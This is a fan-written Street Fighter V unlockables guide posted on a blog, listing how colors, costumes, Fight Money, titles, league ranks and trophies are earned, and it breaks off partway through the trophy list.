BsdBandit

Monday, July 11, 2016

Street Fighter V: Unlockables Guide

`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Document: Street Fighter V: Unlockables Guide

Games: Street Fighter V

Platform: Sony Playstation 4

Developer: Capcom

Publisher: Capcom

Table Of Contents

-----------------

Section I: Color Unlocks

Section II: Costume Unlocks

Section III: Fight Money

Section IV: Story Mode Unlocks

Section V: Survival Mode Unlocks

Section VI: Challenge List

Section VII: Character Levelling

Section VIII: Fighter Profile Levelling

Section IX: Title Unlocks

Section X: Online Unlocks

Section XI: Trophies & Achievements

Section XII: Credits

Section XIII: Legal Stuff

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Revision Notes

--------------

1.0 First document

1.1 Titles updates.

Survival mode details.

Requisite touch-ups.

1.2 More Titles

More Survival mode details

Platinum rank revealed (7,500+ LP!)

I'm totally loving SF5 BTW!!!

1.3 More, More, More.

+ Formatting Fixes

1.4 So many more Titles (and another new style of title!)

Character level details

Costume Unlocks section tweaked

Fixes, tweaks and waiting for the March Update!

1.5 More Title fixes. Minor corrections

Last main update before the March update!

Super Platinum rank details

1.6 New classes of Titles. Doesn't end!!!

1.7 New Titles. Cleanup

1.8 Colors 14 & 15. Title verification

1.9 July update out - No More Zenny - So much stuff!

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

=-=-=-=-=-=-=

Section I

Color Unlocks

=-=-=-=-=-=-=

Patch Version: 01.04

-------------

There are 15 total colors for all characters. Two are unlocked at the outset.

The remaining are unlocked via defeating Survival Mode on different difficulties

and by purchasing the remainder in the store.

For colors 12-15, you must be a certain level before they are unlocked for

purchase. They're detailed in parentheses.

Color # Method

------- ------------

Color 3 Survival Easy

Color 4 Survival Normal

Color 5 Survival Normal

Color 6 Survival Normal

Color 7 Survival Hard

Color 8 Survival Hard

Color 9 Survival Hard

Color 10 Survival Hard

Color 11 10,000 FM

Color 12 2,000 FM (Level 5)

Color 13 5,000 FM (Level 10)

Color 14 10,000 FM (Level 25)

Color 15 20,000 FM (Level 50)

Note:

----

You will only unlock colors for the costume you're using. If you used a

pre-order costume to beat Survival Mode, you'll have to go back and beat the

mode again to get the extra colors for the standard outfit. (Such nonsense)

In Japan, special editions of the game came with "Director's Edition" colors

for characters. Those are just unique combinations that I suppose are not

available elsewhere. At least for now.

Source:

http://www.eventhubs.com/news/2016/jan/03/

japans-street-fighter-5-special-editions-have-tons-awesome-stuff-included/

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

=-=-=-=-=-=-=-=

Section II

Costume Unlocks

=-=-=-=-=-=-=-=

Each character currently has 3 costumes. Karin has 4.

Standard Costume

Story Mode Costume

Battle Costume 1

Summer Costume (Karin only)

* The first is available from the outset.

* Story Mode costumes are available in Story Mode only. To use these during

normal gameplay, you must purchase them in the Store for 40,000 FM after

having beaten that character's story. They cost $2 USD if you prefer use

cash.

* Premium Costumes are available for purchase ONLY using real-world cash.

You cannot purchase these using FM.

Four Battle Costumes were available at launch for those who pre-ordered.

Those costumes are for Cammy, Chun-Li, Ryu and Vega (D).

In Japan, these came with the special editions. Cammy and Vega came with

the Valuable Edition, Ryu, Cammy, and Chun-Li for the Hot Package, all four

for the Volcanic Edition. In the U.S., these could be obtained via

pre-order from one of four retailers (Thus, you couldn't obtain more than

one costume.)

For more information about Fight Money and how to purchase all this

stuff, see section III below.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

=-=-=-=-=-=-=-

Section III

Fight Money

=-=-=-=-=-=-=-

Since Street Fighter V employs a different model for unlocking and purchasing

premium content, let's get to this right out.

=-=-=-=-=-=-=-=-=-=-=-=

How To Earn Fight Money:

=-=-=-=-=-=-=-=-=-=-=-=

Fight Money (FM) is earned throughout the game. As the game is updated, more

ways to earn FM will be made available. For now, the quick list:

View Each Character's Guide 500 FM

View Each Set Of Demonstrations 1,000 FM

Complete Each Character's Trials 1,000 FM

Raise a Character's Level 1,000 FM

Complete Story Mode 2,000 FM

Complete Survival Easy 2,000 FM

Complete Survival Normal 5,000 FM

Complete Survival Hard 10,000 FM

Complete Survival Extreme 20,000 FM

Complete General Story Mode 30,000 FM (1x only)

Complete General Story Mode (Extra) 50,000 FM (1x only)

As detailed elsewhere here, you can earn earn 4,000 FM for beating Story Mode

and Survival Easy as well as level up 12x in the process. That'll net you

16,000 FM for each character.

Better gamers can continue on with Survival Normal for an additional 5,000 FM

each, but that's a harder challenge for some.

By beating Story Mode & Survival Easy for all 16 characters (not a difficult

task) you will net 256,000 FM which is more than enough to purchase new

characters and outfits. More on what that is specifically below.

=-=-=-=-=-=-=-

What Was Zenny?

=-=-=-=-=-=-=-

Zenny was Capcom's original vision for purchasing premium DLC content. It was

however abandoned in the July update. So...let's just forget about it entirely

shall we?

Instead you can use actual cash to purchase items as detailed above.

=-=-=-=-=-=-=-=-=-=-=-=-=-

What To Buy With FM & Cash

=-=-=-=-=-=-=-=-=-=-=-=-=-

So what is all this for? Ah, the store, of course! Check out section 4b above

for more.

For Purchase FM Cost $$$ Cost (In USD)

------------ ------- --------

DLC Characters 100,000 $6

Story Mode Costumes 40,000 $2

Premium Costumes n/a $4

Colors -varies- n/a (see section I above)

Stages 70,000 $4

Stage Variations 40,000 $2

Titles 5,000 n/a

Profile Designs 5,000 n/a

* Premium Costumes are not available for purchase with FM.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

=-=-=-=-=-=-=-=-=-

Section IV

Story Mode Unlocks

=-=-=-=-=-=-=-=-=-

Patch Version: 01.04

-------------

IMPORTANT NOTE:

--------------

Ensure you are online when doing this. If you don't, you might not unlock

trophies and you will not receive the Fight Money you earned (Experience may

count). Completing one of these offline means you'll likely have to do it all

over again for the FM.

There are two story modes. The full one, A Shadow Falls, last several hours

and will give 30,000 EXP

Story Mode is a very brief and outrageously-simple single-player mode that will

yield Experience, Fight Money and the ability to change your costume settings

(in Story Mode only). Certain characters have two fights (three animated

sequences) while others have three (four sequences). Each will result in the

same total Experience gained.

Complete EXP Gained FM Gained Etc.

------ ---------- --------- ----

General Story Mode n/a 30,000 FM n/a

General Story Mode (Extra) n/a 50,000 FM n/a

Each Char's Story Mode 5,000 EXP 2,000 FM Char Theme

------------------

Story Mode Bonuses

------------------

Complete Story Mode 5,000 EXP 2,000 FM

Experience Gained

-----------------

Fight 1 Fight 2 Fight 3 Total

------- ------- ------- -----

Two Fights 2,000 3,000 n/a 5,000

Three Fights 1,500 1,500 2,000 5,000

Note:

----

If you are playing this before leveling up your character, you will reach

level 8 with that character, thus also adding an additional 8,000 FM.

That's an easy 10,000 FM right there!

-------------------

Story Mode Trophies:

-------------------

You can obtain the following trophies/achievements in this mode. Trophy type

does not apply to PC users.

Method Title Trophy Type

------ ----- -----------

Clear Story Mode 1x Your Story Starts Here Bronze

Clear Story Mode 5x Lucky We Met Bronze

Clear Story Mode 16x The 16 Trials Bronze

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

=-=-=-=-=-=-=-=-=-=-=

Section V

Survival Mode Unlocks

=-=-=-=-=-=-=-=-=-=-=

Patch Version: 01.04

-------------

Causing ire amongst many SF fans, additional character colors are locked behind

Survival Mode and its very long and unrewarding gameplay model. I suspect these

might be available for purchase in the March update when the store goes online.

Let's get to it. People hate this mode as unlocking colors can be incredibly

challenging. Win 29 matches and lose on #30 and you gain absolutely nothing.

The Bad: It can be crazy unfair & difficult.

------- This mode is a lesson in utter patience.

Unlocking colors only works for your current outfit.

The Good: Owning a color shows how skilled you are, as few have colors 7-10!

--------

Unlocks go as follows:

Difficulty Fights Color Exp Fight Money Titles

---------- ------- ----- --- ----------- -----

Easy 10 3 5,000 2,000 no

Normal 30 4, 5, 6 10,000 5,000 no

Hard 50 7, 8, 9, 10 20,000 10,000 no

Extreme 100 n/a 40,000 20,000 yes

----------------------------

Important & Noteworthy Stuff:

----------------------------

You will *NEED* to be online in order to receive Fight Money for this mode.

If you don't, you'll receive the other perks, but will have to play it

again to get the fight money.

If you've completed Story Mode, you may unlock a new title upon completing

Survival (on any difficulty). This is due to reaching level 10, and not

for completing Survival.

You will receive colors ONLY for the outfit you're using. If you want color

#3 for Ryu's normal outfit, his story mode outfit and his premium costume,

good luck beating survival mode *AGAIN* for each one.

You only receive experience and FM the first time you complete Survival.

Extreme difficulty used to be called Hell. Completing this will unlock the

title [Veteran Among Veterans]. More on titles in section 3d below.

----------------------

Survival Mode Trophies:

----------------------

You can obtain the following trophies/achievements in this mode. Trophy type

does not apply to PC users.

Method Title Trophy Type

------ ----- -----------

Beat Normal Difficulty Win Or Die Tryin' Bronze

Beat Hard Difficulty A True Warrior's Spirit Silver

Beat Extreme Difficulty Back From Hell Gold

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

=-=-=-=-=-=-=-

Section VI

Challenge List

=-=-=-=-=-=-=-

Demonstrations

=-=-=-=-=-=-=-

You will receive 1,000 FM for viewing each set of Demonstrations.

You will receive 500 FM and 1,000 EXP for viewing each character's Guide.

That's a total of 11,500 FM and if you level up any characters in the process,

that total increases.

=-=-=-

Trials

=-=-=-

Combo trials for all 18 characters. There are only 10 trials per character so

the difficulty ramps up. I may write up about each character's trials soon but

you can view a demonstration of each if you need assistance with the timing.

You will earn 5,000 EXP and 1,000 FM for completing ALL of each character's

trials. Complete 9 out of 10 and you will gain nothing.

=-=-=-=-=-

Challenges

=-=-=-=-=-

For now here is a list of the challenges that can be read about in the Fighter

Profile. It looks like you will receive bonuses for completing these challenges

for each character. I don't know if there are different levels (i.e. challenge

07 asks you to perform five reversals. Is there a second tier which asks you

to perform 25? Then 50? We'll see soon enough!

=-=-=-=-=-=-=-

Challenge List

=-=-=-=-=-=-=-

# Title Requirement

-- ----- -----------

01: Combos Perform a combo with 4 or more moves at least 3x

02: Cancels V-Trigger cancel at least twice

03: Cancels Cancel a move into Critical Arts at least once

04: Counters Perform a counter hit 3x

05: Knockdown Knock down an opponent 5x

06: Jumping In Hit a grounded opponent with a forward jump 3x

07: Reversals Perform a reversal 5x

08: Recoveries Perform a recovery at least 3x

09: Standing Attacks Hit a grounded opponent with a standing normal 10x

10: Crouching Attacks Hit a grounded opponent with a crouching normal 10x

11: Ground Vs. Air Hit an airborne opponent with a ground normal 5x

12: Air Vs. Air Hit an airborne opponent with a jumping normal 5x

13: Throws Perform a normal throw at least 5x

14: Cancels Perform a special move cancel at least 10x

15: Cancels Perform an EX Special Move cancel at least 5x

16: Special Moves Hit an opponent with a Special Move at least 7x

17: EX Special Moves Hit an opponent with an EX Special at least 5x

18: KO Time Defeat an opponent within the time limit (45 seconds)

19: Stuns Stun an opponent

20: Stun Recovery Recover from a stun before getting hit

21: First Attack Land the first attack

22: V-Reversals Use a V-Reversal at least 3x

23: V-Skills Use a V-Skill at least 7x

24: Using Techniques Use at least 10 different techniques

25: Landing Techniques Hit an opponent with at least 7 different techniques

26: Cross-Ups Hit an opponent with a cross-up at least 3x

27: Cross-Guarding CG at least once

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

=-=-=-=-=-=-=-=-=-=

Section VII

Character Levelling

=-=-=-=-=-=-=-=-=-=

(This is for each individual fighter, not your Fighter Profile)

By gaining experience, you will level up your character. This level has no

bearing on your character's skill or power. It is merely to keep track of your

usage and dedication!

There is a pair of trophies/achievements for raising your character's levels

detailed below.

=-=-=-=-=-=-=-=-=-=-=-

How To Earn Experience

=-=-=-=-=-=-=-=-=-=-=-

Fighting matches earns you EXP but that is a slow build. Completing the game's

single-player modes will net you plenty of experience. Building levels will

then earn FM (more in section 4c below)

Method EXP Gained

------ ----------

View Character's Demonstration 500

Story Mode 5,000

Complete Character Trials 5,000

Survival Easy 5,000

Survival Normal 10,000

Survival Hard 20,000

Survival Extreme 40,000

Online Victory 100/125/150

-------------------

Levels & Experience

-------------------

This is a bit excessive but it chronicles levelling information.

Reach Lvl Total Exp Till Next Level Color Perks

--------- --------- --------------- -----------

Level 0 --- 300

Level 1 300 350 +50

Level 2 650 400 +50

Level 3 1,050 500 +100

Level 4 1,550 600 +100

Level 5 2,150 700 +100 Can purchase color 12

Level 6 2,850 800 +100

Level 7 3,650 900 +100

Level 8 4,500 1,000 +100

Level 9 5,550 1,100 +100

Level 10 6,650 1,200 +100 Can purchase color 13

Level 11 7,850 1,400 +200

Level 12 9,250 1,600 +200

Level 13 10,850 1,800 +200

Level 14 12,650 2,000 +200

Level 15 14,650 2,200 +200

Level 16 16,850 2,400 +200

Level 17 19,250 2,700 +300

Level 18 21,950 3,000 +300

Level 19 24,950 3,300 +300

Level 20 28,250 3,700 +300

Level 21 31,950 4,100 +400

Level 22 36,050 4,500 +400

Level 23 40,550 5,000 +500

Level 24 45,550 5,500 +500

Level 25 51,050 6,100 +600 Can purchase color 14

Level 26 57,150 6,700 +600

Level 27 63,850 7,400 +700

Level 28 71,250 8,100 +700

Level 29 79,350 8,900 +800

Level 30 88,250 9,700 +800

Level 31 97,950 10,700 +1,000

Level 32 108,650 11,700 +1,000

Level 36 162,450 16,800

Level 37 179,250

Level 50 Can purchase color 15

-------------------------------

Character Trophies/Achievements

-------------------------------

You can obtain the following trophies/achievements in this mode. Trophy type

does not apply to PC users.

Method Title Trophy Type

------ ----- -----------

One Character to Level 5 One Step Forward Bronze

Five Characters to Level 5 Quantity Over Quality Bronze

All 16 Characters to Level 5 No Rest For The Wicked Bronze

One Character to Level 30 Slow But Steady Wins The Race Silver

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

=-=-=-=-=-=-=-=-=-=-=-=-=

Section VIII

Fighter Profile Levelling

=-=-=-=-=-=-=-=-=-=-=-=-=

Experience stacks, so by raising two characters to level 8, your fighter

profile will now be level 16. There is a trophy/achievement for reaching

level 200. Completing Story Mode and Survival Mode (Easy) will raise you to

level 12. Doing this for 16 characters will raise you to level 192.

Raising levels for characters online is slow and arduous as you only gain 100-

150 EXP for most matches (Ranked or Casual) online. However, ranking characters

through Story Mode & Survival Mode get this done much more quickly.

I may expand this section. Perhaps not.

-------------------------------------

Fighter Profile Trophies/Achievements

-------------------------------------

There are a few levelling trophies for your fighter profile.

Method Title Trophy Type

------ ----- -----------

Raise Profile to Level 50 Vindicated Honor Bronze

Raise Profile to Level 100 Burning Spirit Silver

Raise Profile to Level 200 Number 2 Is The New Number 1 Gold

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

=-=-=-=-=-=-=-

Section IX

Title Unlocks

=-=-=-=-=-=-=-

Titles are earned by leveling up your character and by playing and/or winning

matches online. You can set your Title in Battle Settings and this reflects

your skill level as the harder-to-reach titles are far more scarce than the

lower ones. The huge March update added a number of specific titles for

purchase. Scroll down a while for those.

This list is mostly complete but does contain many holes and some is

speculation. I am certain of the following methods of unlocking titles.

+ Reaching Character Level 10 (per character/not fighter profile)

+ Reaching Character Level 30

+ Reaching Character Level 50

+ Winning 1 Ranked Match with each character

+ Winning 10 Ranked Match with each character

+ Winning 30 Ranked Match with each character

+ Winning 100 Ranked Match with each character

+ Beat Survival: Extreme Difficulty (One Title)

+ Reach a new League or League Level (Super/Ultra)

+ Pre-ordering the Japanese 'Valuable Edition'

+ Season Pass holders get one for each DLC fighter

=-=-=-=-=-=-=-=-

Title Categories:

=-=-=-=-=-=-=-=-

I'm separating titles into my own categories. These are by far not official.

They are also listed in (what seems to be) the order of rarity. Evidently all

but the last two (Yellow & Tear) have two titles each. Wedge may be the same.

More will be revealed later.

Category: Description

-------- -----------

Water: Blue titles appear to have a watery right edge.

Fire: Reddish titles have flames towards the right edge.

Plate: Colored. Tiny triangle cutouts on upper-left & lower-right.

EX: Solid rectangle, minimalistic. Colorful.

Wedge: Triangle wedge situated on right edge of title

Master: Chibi characters on an ovular background.

Yellow: Bright yellow titles with character's face on left

Tear: As in torn: like the edges are torn or ripped. Pre-order only.

Notes:

-----

Master: Attained by reaching level 50. (https://youtu.be/L-OqwCgLf7s)

Tear: This was available when pre-ordering the Japanese 'Valuable Edition'

For DLC characters, these are available for Season Pass owners.

Event Hubs Link (http://tinyurl.com/haj62tq)

How To Unlock?

=-=-=-=-=-=-=-

Methods preceded by a + are confirmed. Others are speculation.

Type Title #1 Method Title #2 Method

---- --------------- ---------------

Water Reach Level 10 Win 1 Ranked Match

Fire Win 10 Ranked Matches 100 Ranked Wins

Plate 30 Ranked Wins ?Play / Win ??? # matches

EX Reach Level 30 ???

Wedge ?## Ranked Wins? ??? (Is there a 2nd Wedge?)

Yellow ?## Ranked Wins? ---

Master Reach Level 50 ???

Tear Pre-order only ---

Bronze For Reaching Bronze Ranks

Silver For Reaching Silver Ranks

Gold For Reaching Gold Ranks

Platinum For Reaching Platinum Ranks

Diamond For Reaching Diamond Ranks

Other Unique/Specific Requirements

My best guess is the following categories are unlocked the following ways.

Ranked Wins Gaining Levels

----------- --------------

Water x x (1 each)

Fire x -

Plate x -

EX - x

Wedge x -

Master - x

Yellow x -

Tear - -

=-=-=-=-=-

Title List:

=-=-=-=-=-

Type Method Title

----- ------ -----

Plain [Unlocked] Street Fighter Logo

Diamond Diamond Rank The Real Deal

Diamond Diamond Rank Purgatory

Diamond Diamond Rank Unrelenting

Platinum Platinum Rank Unequaled

Platinum Platinum Rank Aggressive

Platinum Super Platinum Ultimate Limit

Platinum Super Platinum Aggressive

Platinum Super Platinum Stared In The Face Of Death

Platinum Ultra Platinum Supremacy

Platinum Ultra Platinum Transcendent

Platinum Ultra Platinum Tooth And Nail

Gold Gold Rank Gold

Gold Super Gold? Genius

Gold Ultra Gold? Bent On Victory

Gold Cyborg

Silver Silver Rank Silver

Silver Enormity

Silver Remarkable

Silver Brazen Hero

Silver Child Prodigy

Silver Dazzling

Bronze Bronze Rank Bronze

Bronze Super Bronze Glorious Comeback

Bronze Ultra Bronze Unmatched Hero

[Red] Streak? The HOT one!

[Red] Surv Hell Veteran Among Veterans

Unique? The Star of Asia

Unique? Saikyo-ryu Dojo, PIA Branch

ALEX Title #1 Title #2

==== -------- --------

Water Sleeping Lion Infinite Possibility

Fire Hyper Bomb ???

Plate Fighting For The Future New Hopeful

EX ??? ???

Wedge What Scratch? ???

Master Nameless Hero ???

Yellow Pick On The Wrong Guy ---

Tear The Next Generation ---

BALROG (C) Title #1 Title #2

========== -------- --------

Water Blood-Stained Rose Seeker of Beauty's Depths

Fire Dance You To Death Beautiful Last Words

Plate Pirouetting Silhouette Adonis

EX Bloody Bolero Anti-Gravity Dancer

Wedge Twisted Beauty ???

Master Spanish Ninja Balrog Master

Yellow Dazzling Trajectory ---

Tear ??? ---

Birdie Title #1 Title #2

====== -------- --------

Water No Food, No Fight Loveable Rogue

Fire Food First Frenzied Chainiac

Plate Good Food in Large Portions Stylish Hair

Wedge Hungry And Fighting ???

EX Gastric Bypass Forever Chubby

Master Supermassive Birdie Master

Yellow Eat Sleep Repeat ---

Tear [Something] Head Butt ---

CAMMY Title #1 Title #2

===== -------- --------

Water Precision Is Key Flash Kick

Fire Killer Bee Flickering Eyes

Plate Cat Cafe Regular Friends And Family

EX Dancing Marionette Determined Protector

Wedge Defend To The End ???

Master Mission Complete! Cammy Master

Yellow Risking It All ---

Tear Bullet Spike ---

CHUN-LI Title #1 Title #2

======= -------- --------

Water Azure Kicks Dancing Phoenix

Fire Sorry Feet of Fury

Plate Shrewd Detective Combo Choreographer

EX Indomitable Resolve Cool, Assertive Beauty

Wedge Inherited Volition ???

Master 1000 Kicks For Justice Chun-Li Master

Yellow This Ends Now! ---

Tear ??? ---

DHALSIM Title #1 Title #2

======= -------- --------

Water Apogee of Mystery A True Saint

Fire Yoga Pioneer Superhuman Yoga

Plate Sage On A Fighter's Path Reaches Any Itch

EX Clairvoyant Judgement Curry Addict

Wedge Yogaaaa! ???

Master Levitator Dhalsim Master

Yellow Teleport Away ---

Tear ??? ---

F.A.N.G. Title #1 Title #2

======== -------- --------

Water Apocalyptic Poison Cataclysmic Poison

Fire The Whole Package Worker No. 2

Plate For Lord Bison! Forever 22

EX Eclectic ???

Wedge Fang of Nguuhao ???

Master Don't Touch Me F.A.N.G. Master

Yellow Nihehehehe! ---

Tear ??? ---

GUILE Title #1 Title #2

===== -------- --------

Water My Fist Do The Talking Razor Sharp

Fire Workaholic Don't You Have a Family, Too?

Plate Impenetrable Defense Sky-Rending Blade

EX Sonic Slasher ???

Wedge Veteran Warrior ???

Master ??? ???

Yellow Bond of Steel ---

Tear Indestructible Fortress ---

IBUKI Title #1 Title #2

===== -------- --------

Water Fragrant Breeze Young & Beautiful

Fire Vanish Until Class Ends ???

Plate ??? ???

EX ??? ???

Wedge ??? ???

Master ??? ???

Yellow ??? ---

Tear Growing Up, Up, Up!

KARIN Title #1 Title #2

===== -------- --------

Water Solid Gold Spirit Look Of Contempt

Fire The One True Victor Perfect Hubby

Plate Proud Heroine Beyond Total Victory

EX Privately Schooled 100 Elegant Battles

Wedge ??? ???

Master Shameless Socialite Karin Master

Yellow A-Hahahahahaha! ---

Tear Ultra Princess ---

KEN Title #1 Title #2

=== -------- --------

Water Unbreakable Bond Shippu Jinrai

Fire Attack Attack Attack! Self Defense

Plate Lifelong Rival Blazing Fist

EX Good Vibes Sweet!

Wedge Awaiting Rematch ???

Master Bringin' Home The Bacon Ken Master

Yellow Pinky Swear ---

Tear Rush 'n' Blaze ---

LAURA Title #1 Title #2

===== -------- --------

Water Charming Jiu-Jitsu Lady Matsuda White Belt

Fire Family Values Thunder Lady

Plate Ms. Throw Down Sparring Partners Wanted

EX Beautifully Tingly BAM! One Shot!

Wedge Sunny Disposition ???

Master Delightful Overkill Laura Master

Yellow Shameless Troublemaker ---

Tear ??? ---

M. BISON (B) Title #1 Title #2

===== -------- --------

Water Freight Train Bottomless Greed

Fire ??? ???

Plate ??? ???

EX ??? ???

Wedge Touch And Go ???

Master ??? ???

Yellow ??? ---

Tear Avaricious Pugilist

NASH Title #1 Title #2

==== -------- --------

Water Souvenir From Hell Ice Cold Justice

Fire Living Dead Breakneck Assassin

Plate Easy Operation An Old Friend

EX Self-Sacrificial Vengeful Dead

Wedge Chilled Inferno ???

Master Concealed Killer Nash Master

Yellow Game Over Man ---

Tear Paradoxical Avenger ---

NECALLI Title #1 Title #2

======= -------- --------

Water Inhuman Violence Consumes All

Fire Almighty Roar Nemesis Of Mankind

Plate Bad Omen A Howl To Shake The Earth

EX All-Consuming Darkness Living Nightmare

Wedge Inescapable Disaster ???

Master Twilight Creature Necalli Master

Yellow Getepe! ---

Tear Soul Slaughterer ---

R. MIKA Title #1 Title #2

======= -------- --------

Water The Face Of Wrestling Flying Peach

Fire Girly Girl Full Throttle Girl

Plate Zangief Fan Club President Fan Favorite

EX Sweat-bows Shining Rainbow Star

Wedge Fighting Spirit ???

Master Captivating Muscle R. Mika Master

Yellow The Heat-Up Duo ---

Tear Rainbow Bomber ---

RASHID Title #1 Title #2

====== -------- --------

Water Rashid Of The Turbulent Wind Street Corner Whirlwind

Fire World Savvy Youth Radiant Nice Guy

Plate Smart Style Silly, Sometimes Serious

EX Pitiful Stud Poetic Dandy

Wedge Cyber Sleuth ???

Master At The Cutting Edge Rashid Master

Yellow Mentor ---

Tear ??? ---

RYU Title #1 Title #2

=== -------- --------

Water The Answer Lies In Battle Everything Starts Here

Fire Unending Journey Living Legend

Plate The Path of Hado A New Beginning

EX Fighter 4 Life Modern Samurai

Wedge Talk To The Fist ???

Master Eternal Traveler Ryu Master

Yellow The Power To Fight Further ---

Tear ??? ---

VEGA (D) Title #1 Title #2

======== -------- --------

Water Supreme Ruler Hell On Earth

Fire Shadaloo's Leader The Fight to End All

Plate I Shall Grant You Death The Air of a Last Boss

EX Mwahaha! Psycho Power Is Eternal

Wedge Body Counter ???

Master Ultimate Nightmare Vega Master

Yellow Power's Ultimate Destination ---

Tear The Epitome of Evil ---

ZANGIEF Title #1 Title #2

======= -------- --------

Water Vacuum Hands Unstoppable

Fire Beauty of Muscles I Am The Weapon

Plate Horosho! Physical Supremist

EX Muscles Take Time Rock Hard Body

Wedge Spiritual Successor ???

Master Bursting From My Shirt Zangief Master

Yellow Stronger Than Steel ---

Tear Iron Cyclone ---

=-=-=-=-=-=-=-=-=-

Purchasable Titles

=-=-=-=-=-=-=-=-=-

With the March Store update, more than 100 titles were made available for

purchase for 5,000 FM each.

Now, it turns out that each caracter unlocks some of these by leveling up. I

believe that starts once you hit level 10. Seeing as how all my characters

were that level before these became available, I'm not sure whose is whose

(with the exception, noted below). Therefore two things:

** If you cannot access one of these, it's likely due to that title not yet

being unlocked.

** I'm certainly missing dozens of these. Feel free to submit some but this

section of the site is not quite so important IMO.

1 Punch Reversal Kitten

A Little Rusty Lightweight

Aggressive Appeal Lone Wolf

Air Guitar Champion Loves To Charge

Amateur Magician

Ample Motivation Morally Obliged

Anything Goes Nameless Newbie

Arcade Sticker New Graduate

Awakened Potential Newborn Baby

Babysitter Nonentity

Bald Eagle Novice

Born To Fight One For The Future

Bringer Of Fortune One Hit Wonder

Button Masher Oozing Confidence

Cat Person Out-Of-Towner

Cherry Blossom Blizzard Perfect Pitch

Cocky Plucky Adventurer

Command Training Posh

Competitive Eater Pressurizer

Corrupt Justice Pro

Debut Performance Pro Uploader

Defensive Master Professional Wrestler

Demi-Human Professor

Doberman Proud Vocalist

Dog Person Record Breaker

Drill Instructor From Hell Recruit

Eye For An Eye RSI Fingers

Fast And Loose Rushdown

First Steps Savage Tiger

Flambe Chef Scholarship

Flashy Sea Horse

Footloose Nobility Senator

Foreign Correspondent Sherlock Holmes

Freshman Show Off

Game Padder Sloth

Greenhorn Snot-Faced Kid

Growth Spurt Starting Today

Guard Dog Steamer

Guts Of Steel Still Practicing

Hatchling Struggles

Hawkeye Student

Heavyweight Student Council Chair

Hooligan Supporters Group Chairman

Hot Food Hurts Sure Lost Holmes

Hyena Talent Reservoir

I Can Do It If I Try Test Driving

I Wanna Be The Best Throw Tech-er

I'm New Here Training Mode First

Impending Danger Two Birds One Stone

Improv Ultra-Competitive

Internet Tough Guy Ultrasound

Jumpy Jump Jump Undergoing Treatment

Jus' Lemme Play! V-Trigger Addict

Just For Fun Wakeup Guru

Just Toying With Ya War Photographer

Karate Master World's Strongest Butler

Kendo Practice

The following were unlocked by leveling up the corresponding characters. Some

are not in the list above

Ibuki: Pressurizer Training Mode First

Lays The Bait Look, No Guard!

M. Bison (B): Flashy Just For Fun

----------------------------

Titles Trophies/Achievements

----------------------------

You can obtain the following trophies/achievements in this mode. Trophy type

does not apply to PC users.

Method Title Trophy Type

------ ----- -----------

Obtain 10 Titles Make A Name For Yourself Bronze

Obtain 30 Titles Sultan Of Titles Bronze

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

=-=-=-=-=-=-=-

Section X

Online Unlocks

=-=-=-=-=-=-=-

You will earn Experience and Fight Money for all victories.

You will earn Experience but not Fight Money for all losses.

Ranked Matches will earn you EXP and/or FM but also LP (League Points).

Casual Matches do not offer LP.

I *think* the amount of experience earned is dependent on the skill level of

your opponent.

EXP FM LP Etc.

--- -- -- ----

Ranked Win 100/150 50 Depends Title (1st Win)(more?)

Loss Varies 0 -24 n/a

Casual Win 100/125/150 50 n/a n/a

Loss Varies 0 n/a n/a

For Ranked wins, it seems you'll get 100 Experience if the opponent is

in your same class. If they are higher, you'll get 150. (Incomplete)

Sadly, I am dreadful at Street Fighter and am relegated to writing stupid

guides. I'm going to need help on details such as these.

Checking the leaderboards, the League Ranking appears to be as follows:

LP Points League Name

--------- ------------

000 - 499 Rookie

500 - 999 Bronze

1,000 - 1,499 Super Bronze

1,500 - 1,999 Ultra Bronze

2,000 - 2,999 Silver

3,000 - 3,499 Super Silver

3,500 - 3,999 Ultra Silver

4,000 - 5,499 Gold

5,500 - 6,499 Super Gold

6,500 - 7,499 Ultra Gold

7,500 - 9,999 Platinum

10,000 - 11,999 Super Platinum

12,000 - 13,999 Ultra Platinum

14,000 - 19,999 Diamond

20,000+ Super Diamond

You will receive a trophy/achievement for moving up to Bronze, Silver or Gold

league. There is no trophy for platinum. There may be Super & Ultra Platinum

leagues as well.

Online trophies/achievements are listed in the section below. No need for

redundancy!

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

=-=-=-=-=-=-=-=-=-

Section XI

Trophies &

Steam Achievements

=-=-=-=-=-=-=-=-=-

Letters to the left of the Trophy/Achievement are for Playstation users.

B = Bronze

S = Silver

G = Gold

P = Platinum

These are in categories and are not organized as per the game.

Basic Game Modes

----------------

B Mastering The Basics Finish tutorial

B Bodybuilding Is Life Use Training Mode for 30 minutes

